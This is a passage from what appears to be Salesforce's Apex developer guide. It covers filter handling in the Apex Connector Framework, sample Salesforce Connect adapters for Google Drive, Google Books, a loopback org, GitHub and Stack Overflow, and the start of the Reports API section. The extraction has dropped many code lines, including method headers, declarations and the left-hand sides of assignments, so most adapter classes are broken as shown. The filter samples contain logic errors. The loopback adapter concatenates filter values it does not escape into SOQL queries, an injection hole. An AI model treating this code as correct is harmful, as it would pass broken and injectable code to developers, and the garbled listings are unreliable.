This code example assumes that you implemented a findSingleResult method that returns a single record, given the selected
ExternalId. Make sure that your code obtains the record that matches the requested ExternalId.
IN THIS SECTION:
Evaluating Filters in the Apex Connector Framework
A filter evaluates to true for a row if that row matches the conditions that the filter describes.
Compound Filters in the Apex Connector Framework
Filters can have child filters, which are stored in the subfilters property.
Evaluating Filters in the Apex Connector Framework

A filter evaluates to true for a row if that row matches the conditions that the filter describes.
For example, suppose that a DataSource.Filter has columnName set to meaningOfLife, columnValue set to 42,
and type set to EQUALS. Any row in the remote table whose meaningOfLife column entry equals 42 is returned.
Suppose, instead, that the filter has type set to LESS_THAN, columnValue set to 3, and columnName set to numericCol.
We’d construct a DataSource.TableResult object that contains all the rows that have a numericCol value less than 3.
To improve performance, do all the filtering in the external system. You can, for example, translate the Filter object into a SQL or
OData query, or map it to parameters on a SOAP query. If the external system returns a large set of data, and you do the filtering in your
Apex code, you quickly exceed your governor limits.
If you can’t do all the filtering in the external system, do as much as possible there and return as little data as possible. Then filter the
smaller collection of data in your Apex code.
SEE ALSO:
Filter Class
Compound Filters in the Apex Connector Framework

Filters can have child filters, which are stored in the subfilters property.
If a filter has children, the filter type must be one of the following.
Filter Type Description

AND_ We return all rows that match all of the subfilters.
OR_ We return all rows that match any of the subfilters.
408
Filter Type Description

NOT_ The filter reverses how its child filter evaluates rows. Filters of this type can have only one subfilter.
This code example illustrates how to deal with compound filters.

override global DataSource.TableResult query(DataSource.QueryContext context) {
// Call out to an external data source and retrieve a set of records.
// We should attempt to get as much information as possible about the
// query from the QueryContext, to minimize the number of records
// that we return.
List<Map<String,Object>> rows = retrieveData(context);
// This only filters the results. Anything in the query that we don’t
// currently support, such as aggregation or sorting, is ignored.
return DataSource.TableResult.get(context, postFilterRecords(
context.tableSelection.filter, rows));
}
private List<Map<String,Object>> retrieveData(DataSource.QueryContext context) {

// Call out to an external data source. Form the callout so that
// it filters as much as possible on the remote site,
// based on the parameters in the QueryContext.
return ...;
}
private List<Map<String,Object>> postFilterRecords(

DataSource.Filter filter, List<Map<String,Object>> rows) {
if (filter == null) {
return rows;
}
DataSource.FilterType type = filter.type;
List<Map<String,Object>> retainedRows = new List<Map<String,Object>>();
if (type == DataSource.FilterType.NOT_) {
// We expect one Filter in the subfilters.
DataSource.Filter subfilter = filter.subfilters.get(0);
for (Map<String,Object> row : rows) {
if (!evaluate(filter, row)) {
retainedRows.add(row);
}
}
return retainedRows;
} else if (type == DataSource.FilterType.AND_) {
// For each filter, find all matches; anything that matches ALL filters
// is returned.
retainedRows = rows;
for (DataSource.Filter subfilter : filter.subfilters) {
retainedRows = postFilterRecords(filter, retainedRows);
}
} else if (type == DataSource.FilterType.OR_) {
// For each filter, find all matches. Anything that matches
// at least one filter is returned.
409
for (DataSource.Filter subfilter : filter.subfilters) {

List<Map<String,Object>> matchedRows = postFilterRecords(
subfilter, rows);
retainedRows.addAll(matchedRows);
}
} else {
// Find all matches for this filter in our collection of records.
for (Map<String,Object> row : rows) {
if (evaluate(filter, row)) {
retainedRows.add(row);
}
}
}
}
private Boolean evaluate(DataSource.Filter filter, Map<String,Object> row) {

if (filter.type == DataSource.FilterType.EQUALS) {
String columnName = filter.columnName;
Object expectedValue = filter.columnValue;
Object foundValue = row.get(columnName);
return expectedValue.equals(foundValue);
} else {
// Throw an exception; implementing other filter types is left
// as an exercise for the reader.
throwException('Unexpected filter type: ' + filter.type);
}
return false;
}
SEE ALSO:
Filter Class
Considerations for the Apex Connector Framework

Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.
• If you change and save a DataSource.Connection class, resave the corresponding DataSource.Provider class.
Otherwise, when you define the external data source, the custom adapter doesn’t appear as an option for the Type field.
• DML operations aren't allowed in the Apex code that comprises the custom adapter.
• Make sure that you understand the limits of the external system’s APIs. For example, some external systems accept only requests
for up to 40 rows.
• Apex data type limitations:
– Double—The value loses precision beyond 18 significant digits. For higher precision, use decimals instead of doubles.
– String—If the length is greater than 255 characters, the string is mapped to a long text area field in Salesforce.
• Custom adapters for Salesforce Connect are subject to the same limitations as any other Apex code. For example:
– All Apex governor limits apply.
410
– Test methods don’t support web service callouts. Tests that perform web service callouts fail. For an example that shows how
to avoid these failing tests by returning mock responses, see Google Drive™ Custom Adapter for Salesforce Connect on page
411.
• In Apex tests, use dynamic SOQL to query external objects. Tests that perform static SOQL queries of external objects fail.
SEE ALSO:
Dynamic SOQL
Apex Connector Framework Examples

These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.
IN THIS SECTION:
Google Drive™ Custom Adapter for Salesforce Connect
This example illustrates how to use callouts and OAuth to connect to an external system, which in this case is the Google Drive™
online storage service. The example also shows how to avoid failing tests from web service callouts by returning mock responses
for test methods.
Google Books™ Custom Adapter for Salesforce Connect
This example illustrates how to work around the requirements and limits of an external system’s APIs: in this case, the Google Books
API Family.
Loopback Custom Adapter for Salesforce Connect
This example illustrates how to handle filtering in queries. For simplicity, this example connects the Salesforce org to itself as the
external system.
GitHub Custom Adapter for Salesforce Connect
This example illustrates how to support indirect lookup relationships. An indirect lookup relationship links a child external object to
a parent standard or custom object.
Stack Overflow Custom Adapter for Salesforce Connect
This example illustrates how to support external lookup relationships and multiple tables. An external lookup relationship links a
child standard, custom, or external object to a parent external object. Each table can become an external object in the Salesforce
org.
Google Drive™ Custom Adapter for Salesforce Connect

This example illustrates how to use callouts and OAuth to connect to an external system, which in this case is the Google Drive™ online
storage service. The example also shows how to avoid failing tests from web service callouts by returning mock responses for test
methods.
For this example to work reliably, request offline access when setting up OAuth so that Salesforce can obtain and maintain a refresh
token for your connections.
DriveDataSourceConnection Class
/**
* Extends the DataSource.Connection class to enable
* Salesforce to sync the external system’s schema
* and to handle queries and searches of the external data.
411
**/
global class DriveDataSourceConnection extends
DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
/**
* Constructor for DriveDataSourceConnection.
**/
global DriveDataSourceConnection(
DataSource.ConnectionParams connectionInfo) {
this.connectionInfo = connectionInfo;
}
/**
* Called when an external object needs to get a list of
* schema from the external data source, for example when
* the administrator clicks “Validate and Sync” in the
* user interface for the external data source.
**/
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
tables.add(DataSource.Table.get('googleDrive','title',
columns));
return tables;
}
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that’s associated with the
* external data source.
*
* The QueryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
DataSource.Filter filter = context.tableSelection.filter;
String url;
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
412
thisColumnName.equals('ExternalId'))
url = 'https://www.googleapis.com/drive/v2/'
+ 'files/' + filter.columnValue;
else
+ 'files';
} else {
+ 'files';
}
/**
* Filters, sorts, and applies limit and offset clauses.
**/
List<Map<String, Object>> rows =
DataSource.QueryUtils.process(context, getData(url));
context.tableSelection.tableSelected, rows);
}
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
* global searches.
*
* The SearchContext argument represents the query to run
*
* Returns results for each table that the SearchContext
* requested to be searched.
**/
for (Integer i =0;i< context.tableSelections.size();i++) {

String entity = context.tableSelections[i].tableSelected;
String url =
'https://www.googleapis.com/drive/v2/files'+
'?q=fullText+contains+\''+context.searchPhrase+'\'';
results.add(DataSource.TableResult.get(
true, null, entity, getData(url)));
}
return results;
}
/**
* Helper method to parse the data.
* The url argument is the URL of the external system.
* Returns a list of rows from the external system.
**/
public List<Map<String, Object>> getData(String url) {
413
String response = getResponse(url);

Map<String, Object> responseBodyMap = (Map<String, Object>)

JSON.deserializeUntyped(response);
/**
* Checks errors.
**/
Map<String, Object> error =
(Map<String, Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String, Object> errors =
(Map<String, Object>)errorsList[0];
String errorMessage = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(errorMessage);
}
List<Object> fileItems=(List<Object>)responseBodyMap.get('items');
if (fileItems != null) {
for (Integer i=0; i < fileItems.size(); i++) {
Map<String, Object> item =
(Map<String, Object>)fileItems[i];
rows.add(createRow(item));
}
} else {
rows.add(createRow(responseBodyMap));
}
return rows;
}
/**
* Helper method to populate the External ID and Display
* URL fields on external object records based on the 'id'
* value that’s sent by the external system.
*
* The Map<String, Object> item parameter maps to the data
* that represents a row.
*
* Returns an updated map with the External ID and
* Display URL values.
**/
public Map<String, Object> createRow(
Map<String, Object> item){
Map<String, Object> row = new Map<String, Object>();
for ( String key : item.keySet() ) {
if (key == 'id') {
row.put('ExternalId', item.get(key));
} else if (key=='selfLink') {
414
row.put(key, item.get(key));
row.put('DisplayUrl', item.get(key));
} else {
}
}
return row;
}
static String mockResponse = '{' +

' "kind": "drive#file",' +
' "id": “12345”,' +
' "selfLink": “files/12345”,' +
' "title": “Mock File”,' +
' "mimeType": “application/text”,' +
' "description": “Mock response that’s used during tests”,' +
' "createdDate": “2016-04-20”,' +
' "modifiedDate": 2016-04-20”,' +
' "version": 1,' +
'}';
/**
* Helper method to make the HTTP GET call.
* Returns the response from the external system.
**/
public String getResponse(String url) {
if (System.Test.isRunningTest()) {
// Avoid callouts during tests. Return mock data instead.
return mockResponse;
} else {
// Perform callouts for production (non-test) results.
request.setHeader('Authorization', 'Bearer '+
return response.getBody();
}
}
}
DriveDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class DriveDataSourceProvider
415
extends DataSource.Provider {
/**
* Declares the types of authentication that can be used
* to access the external system.
**/
capabilities.add(
DataSource.AuthenticationCapability.OAUTH);
capabilities.add(
}
/**
* Declares the functional capabilities that the
* external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
}
/**
* Declares the associated DataSource.Connection class.
**/
return new DriveDataSourceConnection(connectionParams);
}
}
Google Books™ Custom Adapter for Salesforce Connect

This example illustrates how to work around the requirements and limits of an external system’s APIs: in this case, the Google Books API
Family.
To integrate with the Google Books™ service, we set up Salesforce Connect as follows.
• The Google Books API allows a maximum of 40 returned results, so we develop our custom adapter to handle result sets with more
than 40 rows.
• The Google Books API can sort only by search relevance and publish dates, so we develop our custom adapter to disable sorting on
columns.
• To support OAuth, we set up our authentication settings in Salesforce so that the requested scope of permissions for access tokens
includes https://www.googleapis.com/auth/books.
• To allow Apex callouts, we define these remote sites in Salesforce:
416
– https://www.googleapis.com
– https://books.google.com
BooksDataSourceConnection Class
/**
* Salesforce to sync the external system metadata
* schema and to handle queries and searches of the external
* data.
**/
global class BooksDataSourceConnection extends
// Constructor for BooksDataSourceConnection.

global BooksDataSourceConnection(DataSource.ConnectionParams
connectionInfo) {
}
/**
**/
columns.add(getColumn('title'));
columns.add(getColumn('description'));
columns.add(getColumn('publishedDate'));
columns.add(getColumn('publisher'));
tables.add(DataSource.Table.get('googleBooks', 'title',
columns));
return tables;
}
/**
* Google Books API v1 doesn't support sorting,
* so we create a column with sortable = false.
**/
private DataSource.Column getColumn(String columnName) {
DataSource.Column column = DataSource.Column.text(columnName,
255);
column.sortable = false;
return column;
417
/**
* for an external object that's associated with the
*
*
**/
DataSource.QueryContext contexts) {
DataSource.Filter filter = contexts.tableSelection.filter;
String url;
if (contexts.tableSelection.columnsSelected.size() == 1 &&
contexts.tableSelection.columnsSelected.get(0).aggregation ==
return getCount(contexts);
}
thisColumnName.equals('ExternalId')) {
url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=' + filter.columnValue +
'&maxResults=1&id=' + filter.columnValue;
contexts.tableSelection.tableSelected,
getData(url));
}
else {
url = 'https://www.googleapis.com/books/' +
'v1/volumes?q=' + filter.columnValue +
'&id=' + filter.columnValue +
'&maxResults=40' + '&startIndex=';
}
} else {
url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=america&' + '&maxResults=40' +
'&startIndex=';
}
/**
* Google Books API v1 supports maxResults of 40
* so we handle pagination explicitly in the else statement
* when we handle more than 40 records per query.
**/
if (contexts.maxResults < 40) {
contexts.tableSelection.tableSelected,
getData(url + contexts.offset));
418
}
else {
return fetchData(contexts, url);
}
}
/**
* Helper method to fetch results when maxResults is
* greater than 40 (the max value for maxResults supported
* by Google Books API v1).
**/
private DataSource.TableResult fetchData(
DataSource.QueryContext contexts, String url) {
Integer fetchSlot = (contexts.maxResults / 40) + 1;
List<Map<String, Object>> data =
Integer startIndex = contexts.offset;
for(Integer count = 0; count < fetchSlot; count++) {
data.addAll(getData(url + startIndex));
if(count == 0)
contexts.offset = 41;
else
contexts.offset += 40;
}

contexts.tableSelection.tableSelected, data);
}
/**
* Helper method to execute count() query.
**/
private DataSource.TableResult getCount(
DataSource.QueryContext contexts) {
String url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=america&projection=full';
List<Map<String,Object>> response =
DataSource.QueryUtils.filter(contexts, getData(url));
countRow.put(
contexts.tableSelection.columnsSelected.get(0).columnName,
response.size());
return DataSource.TableResult.get(contexts, countResponse);
}
/**
* global searches.
*
419

*
**/
DataSource.SearchContext contexts) {
for (Integer i =0; i< contexts.tableSelections.size();i++) {

String entity = contexts.tableSelections[i].tableSelected;
String url = 'https://www.googleapis.com/books/v1' +
'/volumes?q=' + contexts.searchPhrase;
results.add(DataSource.TableResult.get(true, null,
entity,
getData(url)));
}
return results;
}
/**
**/
HttpResponse response = getResponse(url);
String body = response.getBody();

Map<String, Object> responseBodyMap =

(Map<String, Object>)JSON.deserializeUntyped(body);
/**
* Checks errors.
**/
if (error!=null) {
String messages = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(messages);
}
List<Object> sItems = (List<Object>)responseBodyMap.get('items');

if (sItems != null) {
for (Integer i=0; i< sItems.size(); i++) {
420

(Map<String, Object>)sItems[i];
}
} else {
}
return rows;
}
/**
* Helper method to populate a row based on source data.
*
* The item argument maps to the data that
* represents a row.
*
**/
Map<String, Object> item) {
for ( String key : item.keySet() ){
if (key == 'id') {
} else if (key == 'volumeInfo') {
Map<String, Object> volumeInfoMap =
(Map<String, Object>)item.get(key);
row.put('title', volumeInfoMap.get('title'));
row.put('description',
volumeInfoMap.get('description'));
row.put('DisplayUrl',
volumeInfoMap.get('infoLink'));
row.put('publishedDate',
volumeInfoMap.get('publishedDate'));
row.put('publisher',
volumeInfoMap.get('publisher'));
}
}
return row;
}
/**
**/
request.setHeader('Authorization', 'Bearer '+
421
return response;
}
}
BooksDataSourceProvider Class
/**
**/
global class BooksDataSourceProvider extends
DataSource.Provider {
/**
**/
capabilities.add(
DataSource.AuthenticationCapability.OAUTH);
capabilities.add(
}
/**
**/
getCapabilities() {
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
}
/**
**/
return new BooksDataSourceConnection(connectionParams);
}
}
422
Loopback Custom Adapter for Salesforce Connect

This example illustrates how to handle filtering in queries. For simplicity, this example connects the Salesforce org to itself as the external
system.
LoopbackDataSourceConnection Class
/**
**/
global class LoopbackDataSourceConnection
extends DataSource.Connection {
/**
* Constructors.
**/
global LoopbackDataSourceConnection(
}
global LoopbackDataSourceConnection() {}
/**
**/
columns.add(
DataSource.Column.number('NumberOfEmployees', 18, 0));
tables.add(
DataSource.Table.get('Looper', 'Name', columns));
return tables;
}
/**
*
*
423
**/
override global DataSource.TableResult
query(DataSource.QueryContext context) {
integer count = execCount(getCountQuery(context));
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
count);
return DataSource.TableResult.get(context,countResponse);
} else {
List<Map<String,Object>> rows = execQuery(
getSoqlQuery(context));
return DataSource.TableResult.get(context,rows);
}
}
/**
* global searches.
*
*
**/
override global List<DataSource.TableResult>
search(DataSource.SearchContext context) {
return DataSource.SearchUtils.searchByName(context, this);
}
/**
* Helper method to execute the SOQL query and
* return the results.
**/
private List<Map<String,Object>>
execQuery(String soqlQuery) {
List<Account> objs = Database.query(soqlQuery);
List<Map<String,Object>> rows =
new List<Map<String,Object>>();
for (Account obj : objs) {
Map<String,Object> row = new Map<String,Object>();
row.put('Name', obj.Name);
row.put('NumberOfEmployees', obj.NumberOfEmployees);
row.put('ExternalId', obj.Id);
row.put('DisplayUrl',
424
URL.getSalesforceBaseUrl().toExternalForm() +
obj.Id);
rows.add(row);
}
return rows;
}
/**
* Helper method to get aggregate count.
**/
private integer execCount(String soqlQuery) {
integer count = Database.countQuery(soqlQuery);
return count;
}
/**
* Helper method to create default aggregate query.
**/
private String getCountQuery(DataSource.QueryContext context) {
String baseQuery = 'SELECT COUNT() FROM Account';
String filter = getSoqlFilter('',
context.tableSelection.filter);
if (filter.length() > 0)
return baseQuery + ' WHERE ' + filter;
return baseQuery;
}
/**
* Helper method to create default query.
**/
private String getSoqlQuery(DataSource.QueryContext context) {
String baseQuery =
'SELECT Id,Name,NumberOfEmployees FROM Account';
String filter = getSoqlFilter('',
context.tableSelection.filter);
if (filter.length() > 0)
return baseQuery + ' WHERE ' + filter;
return baseQuery;
}
/**
* Helper method to handle query filter.
**/
private String getSoqlFilter(String query,
DataSource.Filter filter) {
if (filter == null) {
return query;
}
String append;
DataSource.FilterType type = filter.type;
List<Map<String,Object>> retainedRows =
new List<Map<String,Object>>();
if (type == DataSource.FilterType.NOT_) {
DataSource.Filter subfilter = filter.subfilters.get(0);
425
append = getSoqlFilter('NOT', subfilter);

} else if (type == DataSource.FilterType.AND_) {
append =
getSoqlFilterCompound('AND', filter.subfilters);
} else if (type == DataSource.FilterType.OR_) {
append =
getSoqlFilterCompound('OR', filter.subfilters);
} else {
append = getSoqlFilterExpression(filter);
}
return query + ' ' + append;
}
/**
* Helper method to handle query subfilters.
**/
private String getSoqlFilterCompound(String operator,
List<DataSource.Filter> subfilters) {
String expression = ' (';
boolean first = true;
for (DataSource.Filter subfilter : subfilters) {
if (first)
first = false;
else
expression += ' ' + operator + ' ';
expression += getSoqlFilter('', subfilter);
}
expression += ') ';
return expression;
}
/**
* Helper method to handle query filter expressions.
**/
private String getSoqlFilterExpression(
DataSource.Filter filter) {
String columnName = filter.columnName;
String operator;
Object expectedValue = filter.columnValue;
if (filter.type == DataSource.FilterType.EQUALS) {
operator = '=';
} else if (filter.type ==
DataSource.FilterType.NOT_EQUALS) {
operator = '<>';
DataSource.FilterType.LESS_THAN) {
operator = '<';
DataSource.FilterType.GREATER_THAN) {
operator = '>';
DataSource.FilterType.LESS_THAN_OR_EQUAL_TO) {
operator = '<=';
426
DataSource.FilterType.GREATER_THAN_OR_EQUAL_TO) {
operator = '>=';
DataSource.FilterType.STARTS_WITH) {
return mapColumnName(columnName) +
' LIKE \'' + String.valueOf(expectedValue) + '%\'';
DataSource.FilterType.ENDS_WITH) {
' LIKE \'%' + String.valueOf(expectedValue) + '\'';
} else {
throwException(
'Implementing other filter types is left as an exercise for the reader: '
+ filter.type);
}
' ' + operator + ' ' + wrapValue(expectedValue);
}
/**
* Helper method to map column names.
**/
private String mapColumnName(String apexName) {
if (apexName.equalsIgnoreCase('ExternalId'))
return 'Id';
if (apexName.equalsIgnoreCase('DisplayUrl'))
return 'Id';
return apexName;
}
/**
* Helper method to wrap expression Strings with quotes.
**/
private String wrapValue(Object foundValue) {
if (foundValue instanceof String)
return '\'' + String.valueOf(foundValue) + '\'';
return String.valueOf(foundValue);
}
}
LoopbackDataSourceProvider Class
/**
**/
global class LoopbackDataSourceProvider
/**
427

**/
capabilities.add(
capabilities.add(
DataSource.AuthenticationCapability.BASIC);
}
/**
**/
getCapabilities() {
}
/**
**/
override global DataSource.Connection
getConnection(DataSource.ConnectionParams connectionParams) {
return new LoopbackDataSourceConnection();
}
}
GitHub Custom Adapter for Salesforce Connect

This example illustrates how to support indirect lookup relationships. An indirect lookup relationship links a child external object to a
parent standard or custom object.
For this example to work, create a custom field on the Contact standard object. Name the custom field “github_username” and select
the External ID and Unique attributes.
GitHubDataSourceConnection Class
/**
* Defines the connection to GitHub REST API v3 to support
* querying of GitHub profiles.
**/
global class GitHubDataSourceConnection extends
428
/**
* Constructor for GitHubDataSourceConnection
**/
global GitHubDataSourceConnection(
}
/**
*
* The queryContext argument represents the query to run
*
**/
String url;
(thisColumnName.equals('ExternalId') ||
thisColumnName.equals('login')))
url = 'https://api.github.com/users/'
+ filter.columnValue;
else
url = 'https://api.github.com/users';
} else {
url = 'https://api.github.com/users';
}
/**
**/
}
/**
* Defines the schema for the external system.
* Called when the administrator clicks “Validate and Sync”
* in the user interface for the external data source.
**/
429
// Defines the indirect lookup field. (For this to work,

// make sure your Contact standard object has a
// custom unique, external ID field called github_username.)
columns.add(DataSource.Column.indirectLookup(
'login', 'Contact', 'github_username__c'));
columns.add(DataSource.Column.text('id', 255));
columns.add(DataSource.Column.text('name',255));
columns.add(DataSource.Column.text('company',255));
columns.add(DataSource.Column.text('bio',255));
columns.add(DataSource.Column.text('followers',255));
columns.add(DataSource.Column.text('following',255));
columns.add(DataSource.Column.url('html_url'));
tables.add(DataSource.Table.get('githubProfile','login',
columns));
return tables;
}
/**
* global searches.
*
*
**/
for (Integer i =0;i< context.tableSelections.size();i++) {

String entity = context.tableSelections[i].tableSelected;
// Search usernames
String url = 'https://api.github.com/users/'
+ context.searchPhrase;
results.add(DataSource.TableResult.get(
true, null, entity, getData(url)));
}
return results;
}
/**
430

**/
// Standardize response string

if (!response.contains('"items":')) {
if (response.substring(0,1).equals('{')) {
response = '[' + response + ']';
}
response = '{"items": ' + response + '}';
}


/**
* Checks errors.
**/
if (error!=null) {
throw new
DataSource.OAuthTokenExpiredException(errorMessage);
}
List<Object> fileItems =
(List<Object>)responseBodyMap.get('items');
}
} else {
}
return rows;
}
/**
431

*
*
**/
Map<String, Object> item){
if (key == 'login') {
} else if (key=='html_url') {
}
}
return row;
}
/**
**/
}
}
GitHubDataSourceProvider Class
/**
**/
global class GitHubDataSourceProvider
/**
* For simplicity, this example declares that the external
* system doesn’t require authentication by returning
432
* AuthenticationCapability.ANONYMOUS as the sole entry

* in the list of authentication capabilities.
**/
capabilities.add(
}
/**
* external system supports, in this case
* only SOQL queries.
**/
getCapabilities() {
}
/**
**/
return new GitHubDataSourceConnection(connectionParams);
}
}
Stack Overflow Custom Adapter for Salesforce Connect

This example illustrates how to support external lookup relationships and multiple tables. An external lookup relationship links a child
standard, custom, or external object to a parent external object. Each table can become an external object in the Salesforce org.
For this example to work, create a custom field on the Contact standard object. Name the custom field “github_username” and select
the External ID and Unique attributes.
StackOverflowDataSourceConnection Class
/**
* Defines the connection to Stack Exchange API v2.2 to support
* querying of Stack Overflow users (stackoverflowUser)
* and posts (stackoverflowPost).
* and to handle queries of the external data.
**/
global class StackOverflowDataSourceConnection extends
433
/**
* Constructor for StackOverflowDataSourceConnection
**/
global StackOverflowDataSourceConnection(
}
/**
* Defines the schema for the external system.
* Called when the administrator clicks “Validate and Sync”
* in the user interface for the external data source.
**/
// Defines columns for the table of Stack OverFlow posts

List<DataSource.Column> postColumns =
new List<DataSource.Column>();
// Defines the external lookup field.

postColumns.add(DataSource.Column.externalLookup(
'owner_id', 'stackoverflowUser__x'));
postColumns.add(DataSource.Column.text('title', 255));
postColumns.add(DataSource.Column.text('view_count', 255));
postColumns.add(DataSource.Column.text('question_id',255));
postColumns.add(DataSource.Column.text('creation_date',255));
postColumns.add(DataSource.Column.text('score',255));
postColumns.add(DataSource.Column.url('link'));
postColumns.add(DataSource.Column.url('DisplayUrl'));
postColumns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('stackoverflowPost','title',
postColumns));
// Defines columns for the table of Stack OverFlow users

List<DataSource.Column> userColumns =
new List<DataSource.Column>();
userColumns.add(DataSource.Column.text('user_id', 255));
userColumns.add(DataSource.Column.text('display_name', 255));
userColumns.add(DataSource.Column.text('location',255));
userColumns.add(DataSource.Column.text('creation_date',255));
userColumns.add(DataSource.Column.url('website_url',255));
userColumns.add(DataSource.Column.text('reputation',255));
userColumns.add(DataSource.Column.url('link'));
userColumns.add(DataSource.Column.url('DisplayUrl'));
userColumns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('stackoverflowUser',
'Display_name', userColumns));
434
return tables;
}
/**
*
*
**/
String url;
// Sets the URL to query Stack Overflow posts

if (context.tableSelection.tableSelected
.equals('stackoverflowPost')) {
url = 'https://api.stackexchange.com/2.2/'
+ 'questions/' + filter.columnValue
+ '?order=desc&sort=activity'
+ '&site=stackoverflow';
else
+ 'questions'
} else {
+ 'questions'
}
// Sets the URL to query Stack Overflow users
} else if (context.tableSelection.tableSelected
.equals('stackoverflowUser')) {
+ 'users/' + filter.columnValue
+ '?order=desc&sort=reputation'
else
435
+ 'users' +
'?order=desc&sort=reputation&site=stackoverflow';
} else {
+ 'users' + '?order=desc&sort=reputation'
}
}
/**
**/
}
/**
**/


/**
* Checks errors.
**/
if (error!=null) {
throw new
DataSource.OAuthTokenExpiredException(errorMessage);
}
List<Object> fileItems=
(List<Object>)responseBodyMap.get('items');
436
}
} else {
}
return rows;
}
/**
*
*
**/
Map<String, Object> item) {
if (key.equals('question_id') || key.equals('user_id')) {
} else if (key.equals('link')) {
} else if (key.equals('owner')) {
Map<String, Object> ownerMap =
(Map<String, Object>)item.get(key);
row.put('owner_id', ownerMap.get('user_id'));
}
}
return row;
}
/**
**/
}
}
437
StackOverflowPostDataSourceProvider Class
/**
**/
global class StackOverflowPostDataSourceProvider
/**
* For simplicity, this example declares that the external
* system doesn’t require authentication by returning
* AuthenticationCapability.ANONYMOUS as the sole entry
* in the list of authentication capabilities.
**/
capabilities.add(
}
/**
* external system supports, in this case
* only SOQL queries.
**/
getCapabilities() {
}
/**
**/
return new
StackOverflowDataSourceConnection(connectionParams);
}
}
Salesforce Reports and Dashboards API via Apex

The Salesforce Reports and Dashboards API via Apex gives you programmatic access to your report data as defined in the report builder.
438
The API enables you to integrate report data into any web or mobile application, inside or outside the Salesforce platform. For example,
you might use the API to trigger a Chatter post with a snapshot of top-performing reps each quarter.
The Salesforce Reports and Dashboards API via Apex revolutionizes the way that you access and visualize your data. You can:
• Integrate report data into custom objects.
• Integrate report data into rich visualizations to animate the data.
• Build custom dashboards.
• Automate reporting tasks.
At a high level, the API resources enable you to query and filter report data. You can:
• Run tabular, summary, or matrix reports synchronously or asynchronously.
• Filter for specific data on the fly.
• Query report data and metadata.
IN THIS SECTION:
Requirements and Limitations
The Salesforce Reports and Dashboards API via Apex is available for organizations that have API enabled.
Run Reports
You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.
List Asynchronous Runs of a Report
You can retrieve up to 2,000 instances of a report that you ran asynchronously.
Get Report Metadata
You can retrieve report metadata to get information about a report and its report type.
Get Report Data
You can use the ReportResults class to get the fact map, which contains data that’s associated with a report.
Filter Reports
To get specific results on the fly, you can filter reports through the API.
Decode the Fact Map
The fact map contains the summary and record-level data values for a report.
Test Reports
Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.
SEE ALSO:
Reports Namespace
Requirements and Limitations

The Salesforce Reports and Dashboards API via Apex is available for organizations that have API enabled.
The following restrictions apply to the Reports and Dashboards API via Apex, in addition to general API limits.
• Cross filters, standard report filters, and filtering by row limit are unavailable when filtering data.
• Historical trend reports are only supported for matrix reports.
• The API can process only reports that contain up to 100 fields selected as columns.
• A list of up to 200 recently viewed reports can be returned.
439
• Your org can request up to 500 synchronous report runs per hour.
• The API supports up to 20 synchronous report run requests at a time.
• A list of up to 2,000 instances of a report that was run asynchronously can be returned.
• The API supports up to 200 requests at a time to get results of asynchronous report runs.
• Your organization can request up to 1,200 asynchronous requests per hour.
• Asynchronous report run results are available within a 24-hour rolling period.
• The API returns up to the first 2,000 report rows. You can narrow results using filters.
• You can add up to 20 custom field filters when you run a report.
In addition, the following restrictions apply to the Reports and Dashboards API via Apex.
• Asynchronous report calls are not allowed in batch Apex.
• Report calls are not allowed in Apex triggers.
• There is no Apex method to list recently run reports.
• The number of report rows processed during a synchronous report run count towards the governor limit that restricts the total
number of rows retrieved by SOQL queries to 50,000 rows per transaction. This limit is not imposed when reports are run
asynchronously.
• In Apex tests, report runs always ignore the SeeAllData annotation, regardless of whether the annotation is set to true or
false. This means that report results will include pre-existing data that the test didn’t create. There is no way to disable the
SeeAllData annotation for a report execution. To limit results, use a filter on the report.
• In Apex tests, asynchronous report runs will execute only after the test is stopped using the Test.stopTest method.
Note: All limits that apply to reports created in the report builder also apply to the API. For more information, see “Analytics Limits”
in the Salesforce online help.
Run Reports
You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.
Reports can be run with or without details and can be filtered by setting report metadata. When you run a report, the API returns data
for the same number of records that are available when the report is run in the Salesforce user interface.
Run a report synchronously if you expect it to finish running quickly. Otherwise, we recommend that you run reports through the
Salesforce API asynchronously for these reasons:
• Long-running reports have a lower risk of reaching the timeout limit when they are run asynchronously.
• The two-minute overall Salesforce API timeout limit doesn’t apply to asynchronous runs.
• The Salesforce Reports and Dashboards API via Apex can handle a higher number of asynchronous run requests at a time.
• Because the results of an asynchronously run report are stored for a 24-hour rolling period, they’re available for recurring access.
Example: Run a Report Synchronously

To run a report synchronously, use one of the ReportManager.runReport() methods. For example:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run the report
440
Reports.ReportResults results = Reports.ReportManager.runReport(reportId, true);

System.debug('Synchronous results: ' + results);
Example: Run a Report Asynchronously

